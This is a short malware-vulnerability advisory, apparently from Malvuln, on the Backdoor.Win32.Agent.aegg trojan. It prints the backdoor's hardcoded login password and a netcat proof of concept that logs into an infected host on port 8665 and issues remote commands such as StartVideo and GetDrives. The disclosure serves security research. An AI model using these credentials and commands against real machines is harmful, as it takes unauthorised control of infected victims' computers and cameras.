Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/58be35e792476d1c015df7853112d200.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.aegg 
Vulnerability: Weak Hardcoded Credentials
Description: The malware listens on TCP port 8665. Authentication is required, however the password "Xc 2870508" is weak and hardcoded within the PE file.
Family: Agent
Type: PE32
MD5: 58be35e792476d1c015df7853112d200
Vuln ID: MVID-2022-0571
Dropped files: ck.reg
Disclosure: 04/26/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 8665
Welcome to XC Doc Server!
Login root
LoginFailed

C:\nc64.exe x.x.x.x 8665
Welcome to XC Doc Server!
Login Xc 2870508
LoginOK

ComputerName
DESKTOP-2C3IQHO
StartVideo
StartVideoOK
GetDrives
C:\
D:\
....

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